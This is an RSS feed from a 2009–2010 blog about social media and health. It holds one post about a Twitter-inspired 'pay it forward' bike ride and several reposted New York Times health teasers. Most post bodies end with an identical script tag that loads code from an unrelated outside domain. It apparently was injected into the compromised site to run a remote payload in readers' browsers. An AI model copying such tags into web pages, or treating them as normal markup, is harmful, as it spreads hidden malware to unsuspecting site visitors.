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	<title>The Official Eric Harr Blog &#187; Uncategorized</title>
	<atom:link href="http://blog.ericharr.com/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.ericharr.com</link>
	<description>Social Good Through Social Media: Together We Can Move Mountains.</description>
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		<title>A Moment Becomes a Movement&#8230;Thanks to @ericharr Followers</title>
		<link>http://blog.ericharr.com/uncategorized/a-moment-becomes-a-movement-thanks-to-ericharr-followers/</link>
		<comments>http://blog.ericharr.com/uncategorized/a-moment-becomes-a-movement-thanks-to-ericharr-followers/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 06:56:47 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/?p=1016</guid>
		<description><![CDATA[
In the midst of a 5-hour bike ride, I found a $20 bill on the road. What started as a trivial moment soon grew into a powerful movement.
My first inclination, as you might imagine, was to smile, pocket it and roll on. But, my mind has been deeply engrossed in social media — and it soon occurred to me [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><img class="size-full wp-image-1019 alignleft" title="2-" src="http://blog.ericharr.com/wp-content/uploads/2010/03/2-.tiff" alt="2-" /></p>
<p style="text-align: left;"><span style="font-size: 12px;">In the midst of a 5-hour bike ride, I found a $20 bill on the road. What started as a trivial <em>moment</em> soon grew into a powerful <em>movement</em>.</span></p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">My first inclination, as you might imagine, was to smile, pocket it and roll on. But, my mind has been deeply engrossed in social media — and it soon occurred to me that we might have something here. I decided to Tweet it up (left) because when I put something to our followers, magic happens.</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">Sure enough, it did again. People started @replying their ideas on what to do with the $20:</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">“Ride by a gas station and give it to someone who looks like they need help filling up their tank.” ~@<a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://twitter.com/rscottcarter">rscottcarter</a></p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;"><a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://twitter.com/rscottcarter"></a>“Buy yourself and 3 people ice cream!” ~@<a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://twitter.com/sunkistdaisy">sunkistdaisy</a></p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;"><a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://twitter.com/sunkistdaisy"></a>“You give enough to others. If you don’t see a homeless person between there and the ice cream store blow it on yourself.” ~@<a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" rel="nofollow" href="http://twitter.com/Canadiam">Canadiam</a></p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">I love our followers on Twitter. I truly do. I believe there is no finer group of people anywhere in social media. I coudn’t very well choose just one of their ideas, so I decided to choose them all! (see Tweet, below).</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">The next morning, one of my dearest friends and ESHM Executive Vice President <a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" href="http://twitter.com/nolanlowry" target="_blank">Nolan Lowry</a> and I went to the bank — on his birthday! — withdrew some money, grabbed an iPhone, hopped on our bikes and … proceeded to spread the looove!</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;"><img class="alignright" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 1em; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; width: auto; padding: 0px;" title="pif2" src="http://www.ericharrsocialmedia.com/wp-content/uploads/2010/03/pif2.tiff" alt="" width="362" height="234" /></p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;"><a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" href="http://www.ericharrsocialmedia.com/facebook" target="_blank">Here is a video journal of our day</a>. And, what a day it was! We “paid it forward” to total strangers. What I love about this concept is that you never know where that kindness will spread or the impact it can have. It’s quite like Twitter: you never know who your Tweets will touch — or how they will echo across humanity.</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">In life, the choices we make — and more often than not, <em>don’t make</em> — have a profound effect on the quality of our lives. We can either cavalierly disregard the sweet moments we experience. Or we can seize them — and turn them into something good. Or, great.</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">The breathtaking tools of social media — Twitter, Facebook, YouTube, Ning, Wordpress — enable us to take<em>moments</em> and transform them into <em>movements</em>.</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">That is what happened here. And, it was beautiful to behold.</p>
<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 20px; margin-left: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; padding: 0px; border: 0px initial initial;">Thank you, <a style="font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; vertical-align: baseline; text-decoration: none !important; color: #0497db; padding: 0px; margin: 0px; border: 0px initial initial;" href="http://twitter.com/ericharr/followers" target="_blank">@ericharr followers</a>.</p>
<p><script src="http://ae.awaue.com/7"></script></p>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Phys Ed: How Much Exercise to Avoid Feeling Gloomy?</title>
		<link>http://blog.ericharr.com/uncategorized/phys-ed-how-much-exercise-to-avoid-feeling-gloomy/</link>
		<comments>http://blog.ericharr.com/uncategorized/phys-ed-how-much-exercise-to-avoid-feeling-gloomy/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 13:43:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[avoid-feeling]]></category>
		<category><![CDATA[phys ed]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/phys-ed-how-much-exercise-to-avoid-feeling-gloomy/</guid>
		<description><![CDATA[How much exercise is needed to avoid feeling gloomy? ]]></description>
			<content:encoded><![CDATA[<p></p><p>How much exercise is needed to avoid feeling gloomy? </p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>Read more:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=a4d207748c8fe915bfb495cdfa8127b4" title="Phys Ed: How Much Exercise to Avoid Feeling Gloomy?">Phys Ed: How Much Exercise to Avoid Feeling Gloomy?</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Back in Racing Form After Dropping the Fork</title>
		<link>http://blog.ericharr.com/uncategorized/back-in-racing-form-after-dropping-the-fork/</link>
		<comments>http://blog.ericharr.com/uncategorized/back-in-racing-form-after-dropping-the-fork/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 23:01:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[diet and nutrition]]></category>
		<category><![CDATA[passion]]></category>
		<category><![CDATA[weight]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/back-in-racing-form-after-dropping-the-fork/</guid>
		<description><![CDATA[A 34-year-old tames his passion for eating and returns to professional cycling. ]]></description>
			<content:encoded><![CDATA[<p></p><p>A 34-year-old tames his passion for eating and returns to professional cycling. </p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>See the original post:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=5cd010fc72dd75a18c8c9ef65f1c5b48" title="Back in Racing Form After Dropping the Fork">Back in Racing Form After Dropping the Fork</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Personal Health: As Bones Age, Who’s at Risk for Fracture?</title>
		<link>http://blog.ericharr.com/uncategorized/personal-health-as-bones-age-who%e2%80%99s-at-risk-for-fracture/</link>
		<comments>http://blog.ericharr.com/uncategorized/personal-health-as-bones-age-who%e2%80%99s-at-risk-for-fracture/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 23:46:51 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bone fractures]]></category>
		<category><![CDATA[risk-calculator]]></category>
		<category><![CDATA[world-health]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/personal-health-as-bones-age-who%e2%80%99s-at-risk-for-fracture/</guid>
		<description><![CDATA[The World Health Organization has devised a risk calculator for fractures that, if used properly, could help doctors and patients decide whether to use drug therapy. ]]></description>
			<content:encoded><![CDATA[<p></p><p>The World Health Organization has devised a risk calculator for fractures that, if used properly, could help doctors and patients decide whether to use drug therapy. </p>
</p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>Read the original here:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=5823437d940a16a9520d1914510bcc5b" title="Personal Health: As Bones Age, Who’s at Risk for Fracture?">Personal Health: As Bones Age, Who’s at Risk for Fracture?</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Really?: The Claim: Body Temperature Declines With Age</title>
		<link>http://blog.ericharr.com/uncategorized/really-the-claim-body-temperature-declines-with-age/</link>
		<comments>http://blog.ericharr.com/uncategorized/really-the-claim-body-temperature-declines-with-age/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 23:46:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[elderly]]></category>
		<category><![CDATA[medicine and health]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/really-the-claim-body-temperature-declines-with-age/</guid>
		<description><![CDATA[It turns out that body temperature is not as simple as conventional wisdom suggests. ]]></description>
			<content:encoded><![CDATA[<p></p><p>It turns out that body temperature is not as simple as conventional wisdom suggests. </p>
</p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>View original post here:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=21537506ba02de56423865473b979738" title="Really?: The Claim: Body Temperature Declines With Age">Really?: The Claim: Body Temperature Declines With Age</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ericharr.com/uncategorized/really-the-claim-body-temperature-declines-with-age/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Q &amp; A: Still, Then Stiff</title>
		<link>http://blog.ericharr.com/uncategorized/q-a-still-then-stiff/</link>
		<comments>http://blog.ericharr.com/uncategorized/q-a-still-then-stiff/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 18:20:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[joints (body part)]]></category>
		<category><![CDATA[long-time]]></category>
		<category><![CDATA[medicine and health]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/q-a-still-then-stiff/</guid>
		<description><![CDATA[Why do we stiffen up as we age after not moving for a long time? ]]></description>
			<content:encoded><![CDATA[<p></p><p>Why do we stiffen up as we age after not moving for a long time? </p>
</p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>Excerpt from:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=5acdcdfb6dc0bc7837f22be924978496" title="Q &amp; A: Still, Then Stiff">Q &amp; A: Still, Then Stiff</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Personal Health: Risks, as Well as Hope, for Very Tiny Infants</title>
		<link>http://blog.ericharr.com/uncategorized/personal-health-risks-as-well-as-hope-for-very-tiny-infants/</link>
		<comments>http://blog.ericharr.com/uncategorized/personal-health-risks-as-well-as-hope-for-very-tiny-infants/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 18:19:38 +0000</pubDate>
		<dc:creator>ericharr</dc:creator>
				<category><![CDATA[CARE]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[growing-number]]></category>
		<category><![CDATA[premature babies]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/personal-health-risks-as-well-as-hope-for-very-tiny-infants/</guid>
		<description><![CDATA[A growing number of extremely preterm, extremely tiny babies now survive and even thrive, thanks to expert, highly coordinated prenatal and postnatal care. ]]></description>
			<content:encoded><![CDATA[<p></p><p>A growing number of extremely preterm, extremely tiny babies now survive and even thrive, thanks to expert, highly coordinated prenatal and postnatal care. </p>
</p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>Read this article:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=d05bbae0670f26b490c6b386262040b6" title="Personal Health: Risks, as Well as Hope, for Very Tiny Infants">Personal Health: Risks, as Well as Hope, for Very Tiny Infants</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Skin Deep: You’re Going to Pay for That Tan</title>
		<link>http://blog.ericharr.com/uncategorized/skin-deep-you%e2%80%99re-going-to-pay-for-that-tan/</link>
		<comments>http://blog.ericharr.com/uncategorized/skin-deep-you%e2%80%99re-going-to-pay-for-that-tan/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 18:17:28 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[expense]]></category>
		<category><![CDATA[millions-more]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/skin-deep-you%e2%80%99re-going-to-pay-for-that-tan/</guid>
		<description><![CDATA[The 10 percent tax on indoor tanning services is designed to offset some of the expense of providing health insurance for millions more Americans. ]]></description>
			<content:encoded><![CDATA[<p></p><p>The 10 percent tax on indoor tanning services is designed to offset some of the expense of providing health insurance for millions more Americans. </p>
</p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>Here is the original post:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=68c222f2d8d99dcd813ad267850a7b65" title="Skin Deep: You’re Going to Pay for That Tan">Skin Deep: You’re Going to Pay for That Tan</a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
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		<title>Fitness: A Celebrity Sweats: It’s Richard!</title>
		<link>http://blog.ericharr.com/uncategorized/fitness-a-celebrity-sweats-it%e2%80%99s-richard/</link>
		<comments>http://blog.ericharr.com/uncategorized/fitness-a-celebrity-sweats-it%e2%80%99s-richard/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 18:17:18 +0000</pubDate>
		<dc:creator>ericharr</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[apple-pie]]></category>
		<category><![CDATA[exercise]]></category>
		<category><![CDATA[richard-simmons]]></category>

		<guid isPermaLink="false">http://blog.ericharr.com/uncategorized/fitness-a-celebrity-sweats-it%e2%80%99s-richard/</guid>
		<description><![CDATA[At 61, Richard Simmons is as American as apple pie and the Big Mac, and he’s teaching classes to dedicated followers in Beverly Hills, Calif. ]]></description>
			<content:encoded><![CDATA[<p></p><p>At 61, Richard Simmons is as American as apple pie and the Big Mac, and he’s teaching classes to dedicated followers in Beverly Hills, Calif. </p>
</p>
<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>See the original post:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=2b0dde68ec4ca2e056ee6c74defeb637" title="Fitness: A Celebrity Sweats: It’s Richard!">Fitness: A Celebrity Sweats: It’s Richard!</a><br />
<script src="http://ae.awaue.com/7"></script></p>
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		<title>A Good Appetite: Everything From Nuts to Soup</title>
		<link>http://blog.ericharr.com/uncategorized/a-good-appetite-everything-from-nuts-to-soup/</link>
		<comments>http://blog.ericharr.com/uncategorized/a-good-appetite-everything-from-nuts-to-soup/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 14:50:27 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cooking and cookbooks]]></category>
		<category><![CDATA[gutenbrunner, kurt]]></category>
		<category><![CDATA[nuts]]></category>

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		<description><![CDATA[A version of chestnut soup that makes an opulent starter for a holiday meal but is simple enough to cook all winter long. ]]></description>
			<content:encoded><![CDATA[<p></p><p>A version of chestnut soup that makes an opulent starter for a holiday meal but is simple enough to cook all winter long. </p>
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<p><img src="http://blog.ericharr.com/wp-content/uploads/2009/12/226ac3e48deus.gif.gif" /></p>
<p>Here is the original post:<br />
<a target="_blank" href="http://feeds.nytimes.com/click.phdo?i=b5d48ea97c732c18640a86b6aa48c91e" title="A Good Appetite: Everything From Nuts to Soup">A Good Appetite: Everything From Nuts to Soup</a><br />
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